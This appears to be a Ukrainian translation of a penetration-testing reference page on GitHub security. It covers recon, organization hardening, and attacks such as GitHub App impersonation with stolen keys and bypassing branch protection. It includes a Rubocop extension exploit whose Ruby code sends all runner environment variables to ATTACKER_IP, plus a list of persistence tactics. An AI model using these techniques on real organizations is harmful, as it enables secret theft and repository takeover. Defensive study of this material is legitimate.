Github Security

Reading time: 17 minutes

Що таке Github

(З тут) На високому рівні, GitHub - це вебсайт і хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді.

Основна інформація

Basic Github Information

Зовнішнє розвідка

Репозиторії Github можуть бути налаштовані як публічні, приватні та внутрішні.

• Приватний означає, що тільки люди з організації зможуть отримати до них доступ
• Внутрішній означає, що тільки люди з підприємства (підприємство може мати кілька організацій) зможуть отримати до нього доступ
• Публічний означає, що весь інтернет зможе отримати до нього доступ.

Якщо ви знаєте користувача, репозиторій або організацію, яку хочете націлити, ви можете використовувати github dorks для пошуку чутливої інформації або шукати витоки чутливої інформації в кожному репозиторії.

Github Dorks

Github дозволяє шукати щось, вказуючи в якості області користувача, репозиторій або організацію. Тому, з переліком рядків, які будуть з'являтися поруч з чутливою інформацією, ви можете легко шукати потенційну чутливу інформацію у вашій цілі.

Інструменти (кожен інструмент містить свій список dorks):

• https://github.com/obheda12/GitDorker (Список Dorks)
• https://github.com/techgaun/github-dorks (Список Dorks)
• https://github.com/hisxo/gitGraber (Список Dorks)

Github Витоки

Зверніть увагу, що github dorks також призначені для пошуку витоків, використовуючи параметри пошуку github. Цей розділ присвячений тим інструментам, які завантажують кожен репозиторій і шукають чутливу інформацію в них (навіть перевіряючи певну глибину комітів).

Інструменти (кожен інструмент містить свій список regex):

Перевірте цю сторінку: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

Зовнішні форки

Можливо компрометувати репозиторії, зловживаючи запитами на злиття. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. Більше інформації про це нижче.

Github Витоки в видалених/внутрішніх форках

Навіть якщо видалені або внутрішні, може бути можливим отримати чутливі дані з форків репозиторіїв github. Перевірте це тут:

Accessible Deleted Data in Github

Укріплення організації

Привілеї учасників

Є деякі за замовчуванням привілеї, які можуть бути надані учасникам організації. Їх можна контролювати зі сторінки https://github.com/organizations/<org_name>/settings/member_privileges або з API організацій.

• Базові дозволи: Учасники матимуть дозвіл None/Read/write/Admin на репозиторії організації. Рекомендується None або Read.
• Форкування репозиторіїв: Якщо це не потрібно, краще не дозволяти учасникам форкувати репозиторії організації.
• Створення сторінок: Якщо це не потрібно, краще не дозволяти учасникам публікувати сторінки з репозиторіїв організації. Якщо потрібно, ви можете дозволити створювати публічні або приватні сторінки.
• Запити на доступ до інтеграцій: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути.
• Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли
• Зміна видимості репозиторію: Якщо увімкнено, учасники з адміністративними правами для репозиторію зможуть змінювати його видимість. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви не хочете, щоб люди робили речі публічними, переконайтеся, що це вимкнено.
• Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли
• Видалення та передача репозиторію: Якщо увімкнено, учасники з адміністративними правами для репозиторію зможуть видаляти або передавати публічні та приватні репозиторії.
• Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли
• Дозволити учасникам створювати команди: Якщо увімкнено, будь-який учасник організації зможе створювати нові команди. Якщо вимкнено, тільки власники організації можуть створювати нові команди. Краще, щоб це було вимкнено.
• Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли
• Більше речей можна налаштувати на цій сторінці, але попередні є найбільш пов'язаними з безпекою.

Налаштування дій

Кілька налаштувань, пов'язаних з безпекою, можна налаштувати для дій зі сторінки https://github.com/organizations/<org_name>/settings/actions.

• Політики дій Github: Це дозволяє вам вказати, які репозиторії можуть виконувати робочі процеси і які робочі процеси повинні бути дозволені. Рекомендується вказати, які репозиторії повинні бути дозволені і не дозволяти всім діям виконуватися.
• API-1, API-2
• Робочі процеси запитів на злиття з зовнішніх співпрацівників: Рекомендується вимагати схвалення для всіх зовнішніх співпрацівників.
• Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли
• Виконання робочих процесів з запитів на злиття: Дуже не рекомендується виконувати робочі процеси з запитів на злиття, оскільки утримувачі походження форка отримають можливість використовувати токени з правами читання на вихідному репозиторії.
• Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли
• Дозволи робочих процесів: Дуже рекомендується надавати лише права читання на репозиторії. Не рекомендується надавати права на запис і створення/схвалення запитів на злиття, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів.
• API

Інтеграції

Дайте знати, якщо ви знаєте кінцеву точку API для доступу до цієї інформації!

• Політика доступу до сторонніх додатків: Рекомендується обмежити доступ до кожного додатку та дозволити лише необхідні (після їх перегляду).
• Встановлені додатки GitHub: Рекомендується дозволяти лише необхідні (після їх перегляду).

Розвідка та атаки, що зловживають обліковими даними

Для цього сценарію ми будемо припускати, що ви отримали доступ до облікового запису github.

З обліковими даними користувача

Якщо ви якимось чином вже маєте облікові дані для користувача в організації, ви можете просто увійти і перевірити, які ролі підприємства та організації у вас є, якщо ви звичайний учасник, перевірте, які привілеї мають звичайні учасники, в яких групах ви знаходитесь, які привілеї ви маєте над якими репозиторіями та як захищені репозиторії.

Зверніть увагу, що може використовуватися 2FA, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також пройти цю перевірку.

Перевірте розділ нижче про обхід захисту гілок, якщо це буде корисно.

З SSH ключем користувача

Github дозволяє користувачам встановлювати SSH ключі, які будуть використовуватися як метод аутентифікації для розгортання коду від їх імені (2FA не застосовується).

З цим ключем ви можете виконувати зміни в репозиторіях, де у користувача є певні привілеї, однак ви не можете використовувати його для доступу до API github для перерахунку середовища. Однак ви можете перерахувати локальні налаштування, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ:

# Go to the the repository folder
# Get repo config and current user name and email
git config --list

Якщо користувач налаштував своє ім'я користувача як своє ім'я користувача github, ви можете отримати доступ до публічних ключів, які він налаштував у своєму обліковому записі за адресою https://github.com/<github_username>.keys, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, може бути використаний.

SSH ключі також можуть бути налаштовані в репозиторіях як ключі для розгортання. Будь-хто, хто має доступ до цього ключа, зможе запускати проекти з репозиторію. Зазвичай на сервері з різними ключами для розгортання локальний файл ~/.ssh/config надасть вам інформацію про те, до якого ключа це відноситься.

GPG ключі

Як пояснено тут, іноді потрібно підписувати коміти, інакше вас можуть виявити.

Перевірте локально, чи має поточний користувач будь-який ключ за допомогою:

gpg --list-secret-keys --keyid-format=long

З токеном користувача

Для введення про токени користувача перевірте основну інформацію.

Токен користувача може використовуватися замість пароля для Git через HTTPS або може використовуватися для автентифікації до API через базову автентифікацію. Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії.

Токен користувача виглядає так: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

З Oauth-додатком

Для введення про додатки Github Oauth перевірте основну інформацію.

Зловмисник може створити шкідливий Oauth-додаток для доступу до привілейованих даних/дій користувачів, які, ймовірно, приймуть їх як частину фішингової кампанії.

Це обсяги, які може запитувати Oauth-додаток. Завжди слід перевіряти запитувані обсяги перед їх прийняттям.

Більше того, як пояснено в основній інформації, організації можуть надавати/відмовляти в доступі стороннім додаткам до інформації/репозиторіїв/дій, пов'язаних з організацією.

З додатком Github

Для введення про додатки Github перевірте основну інформацію.

Зловмисник може створити шкідливий додаток Github для доступу до привілейованих даних/дій користувачів, які, ймовірно, приймуть їх як частину фішингової кампанії.

Більше того, як пояснено в основній інформації, організації можуть надавати/відмовляти в доступі стороннім додаткам до інформації/репозиторіїв/дій, пов'язаних з організацією.

Видавати себе за додаток GitHub з його приватним ключем (JWT → токени доступу до установок)

Якщо ви отримаєте приватний ключ (PEM) додатка GitHub, ви можете повністю видати себе за додаток у всіх його установках:

• Згенеруйте короткочасний JWT, підписаний приватним ключем
• Викликайте REST API додатка GitHub для перерахунку установок
• Створіть токени доступу для кожної установки та використовуйте їх для переліку/клонування/пушу до репозиторіїв, наданих цій установці

Вимоги:

• Приватний ключ додатка GitHub (PEM)
• ID додатка GitHub (числовий). GitHub вимагає, щоб iss був ID додатка

Створити JWT (RS256):

#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

Список установок для автентифікованого додатку:

JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

Створіть токен доступу для встановлення (діє ≤ 10 хвилин):

INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

Використовуйте токен для доступу до коду. Ви можете клонувати або відправляти зміни, використовуючи форму URL x‑access‑token:

TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

Програмний PoC для націлювання на конкретну організацію та перелікування приватних репозиторіїв (PyGithub + PyJWT):

#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

Примітки:

• Токени встановлення успадковують точно дозволи на рівні репозиторію програми (наприклад, contents: write, pull_requests: write)
• Токени діють ≤10 хвилин, але нові токени можуть бути створені без обмежень, поки ви зберігаєте приватний ключ
• Ви також можете перерахувати установки через REST API (GET /app/installations), використовуючи JWT

Компрометація та зловживання Github Action

Існує кілька технік для компрометації та зловживання Github Action, перевірте їх тут:

Abusing Github Actions

Зловживання сторонніми GitHub Apps, що виконують зовнішні інструменти (Rubocop extension RCE)

Деякі GitHub Apps та сервіси перевірки PR виконують зовнішні лінтери/SAST проти pull-запитів, використовуючи конфігураційні файли, контрольовані репозиторієм. Якщо підтримуваний інструмент дозволяє динамічне завантаження коду, PR може досягти RCE на виконувачі сервісу.

Приклад: Rubocop підтримує завантаження розширень з його YAML конфігурації. Якщо сервіс передає .rubocop.yml, наданий репозиторієм, ви можете виконати довільний Ruby, вимагаючи локальний файл.

• Умови спрацьовування зазвичай включають:
• Інструмент увімкнено в сервісі
• PR містить файли, які розпізнає інструмент (для Rubocop: .rb)
• Репозиторій містить конфігураційний файл інструменту (Rubocop шукає .rubocop.yml будь-де)

Файли експлуатації в PR:

.rubocop.yml

require:
- ./ext.rb

ext.rb (екстракція змінних середовища виконавця):

require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

Також включіть достатньо великий фіктивний файл Ruby (наприклад, main.rb), щоб лінтер дійсно запустився.

Вплив, спостережений у реальному світі:

• Повне виконання коду на виробничому виконувачі, який виконував лінтер
• Екстракція чутливих змінних середовища, включаючи приватний ключ GitHub App, що використовується сервісом, API ключі, облікові дані БД тощо.
• З вит leaked приватним ключем GitHub App ви можете створювати токени установки та отримувати доступ на читання/запис до всіх репозиторіїв, наданих цьому додатку (див. розділ вище про імперсонацію GitHub App)

Рекомендації щодо посилення безпеки для сервісів, що виконують зовнішні інструменти:

• Вважайте конфігурації інструментів, надані репозиторієм, ненадійним кодом
• Виконуйте інструменти в суворо ізольованих пісочницях без змінних середовища, що містять чутливу інформацію
• Застосовуйте облікові дані з найменшими привілеями та ізоляцію файлової системи, а також обмежуйте/забороняйте вихідний мережевий трафік для інструментів, які не потребують доступу до Інтернету

Обхід захисту гілок

• Вимагайте певну кількість схвалень: Якщо ви скомпрометували кілька облікових записів, ви можете просто прийняти свої PR з інших облікових записів. Якщо у вас є лише обліковий запис, з якого ви створили PR, ви не можете прийняти свій власний PR. Однак, якщо у вас є доступ до середовища Github Action всередині репозиторію, використовуючи GITHUB_TOKEN, ви можете схвалити свій PR і отримати 1 схвалення таким чином.
• Примітка для цього та для обмеження власників коду, що зазвичай користувач не зможе схвалити свої власні PR, але якщо ви можете, ви можете зловживати цим, щоб приймати свої PR.
• Скасовуйте схвалення, коли нові коміти надсилаються: Якщо це не налаштовано, ви можете подати легітимний код, почекати, поки хтось його схвалить, а потім вставити шкідливий код і злити його в захищену гілку.
• Вимагайте оглядів від власників коду: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб Github Action створив ваш PR, а потім схвалив його самостійно.
• Коли файл CODEOWNER неправильно налаштований, Github не скаржиться, але не використовує його. Тому, якщо він неправильно налаштований, захист власників коду не застосовується.
• Дозвольте вказаним учасникам обходити вимоги до запитів на злиття: Якщо ви один з цих учасників, ви можете обійти захист запитів на злиття.
• Включіть адміністраторів: Якщо це не налаштовано і ви є адміністратором репозиторію, ви можете обійти ці захисти гілок.
• Викрадення PR: Ви можете бути в змозі змінити PR когось іншого, додавши шкідливий код, схваливши отриманий PR самостійно і злити все.
• Видалення захисту гілок: Якщо ви є адміністратором репозиторію, ви можете вимкнути захист, злити свій PR і знову встановити захист.
• Обхід захисту на надсилання: Якщо репозиторій дозволяє лише певним користувачам надсилати пуші (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон *).
• Якщо у вас є доступ на запис до репозиторію, але вам не дозволено надсилати код через захист гілки, ви все ще можете створити нову гілку і в її межах створити github action, який спрацьовує, коли код надсилається. Оскільки захист гілки не захищає гілку, поки вона не створена, цей перший пуш коду в гілку виконає github action.

Обхід захисту середовищ

Для введення про Github Environment перевірте основну інформацію.

У разі, якщо середовище може бути доступним з усіх гілок, воно не захищене і ви можете легко отримати доступ до секретів всередині середовища. Зверніть увагу, що ви можете знайти репозиторії, де всі гілки захищені (вказуючи їхні назви або використовуючи *), у цьому випадку, знайдіть гілку, в яку ви можете надсилати код і ви можете екстрагувати секрети, створивши новий github action (або модифікувавши один).

Зверніть увагу, що ви можете знайти крайній випадок, коли всі гілки захищені (через шаблон *), вказано хто може надсилати код до гілок (ви можете вказати це в захисті гілки) і ваш користувач не має дозволу. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на пуш над самим собою. Захист гілки дозволяє пуш до нової гілки, тому github action буде спрацьовувати.

push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

Зверніть увагу, що після створення гілки захист гілки буде застосовано до нової гілки і ви не зможете її змінити, але на той момент ви вже вивантажите секрети.

Постійність

• Генерувати токен користувача
• Вкрасти токени github з секретів
• Видалення результатів робочих процесів та гілок
• Надати більше прав всій організації
• Створити вебхуки для ексфільтрації інформації
• Запросити зовнішніх співпрацівників
• Видалити вебхуки, які використовуються SIEM
• Створити/змінити Github Action з бекдором
• Знайти вразливий Github Action для командної ін'єкції через модифікацію значення секрету

Підроблені коміти - Бекдор через коміти репозиторію

У Github можливо створити PR до репозиторію з форка. Навіть якщо PR не буде прийнято, ідентифікатор коміту всередині оригінального репозиторію буде створено для версії коду з форка. Тому, зловмисник може закріпити використання конкретного коміту з, здавалося б, легітимного репозиторію, який не був створений власником репозиторію.

Як цей:

name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

Для отримання додаткової інформації перегляньте https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd

Посилання

• Як ми експлуатували CodeRabbit: від простого PR до RCE та запису доступу на 1M репозиторіях
• Розширення Rubocop (вимога)
• Аутентифікація за допомогою GitHub App (JWT)
• Список установок для аутентифікованого додатку
• Створити токен доступу до установки для додатку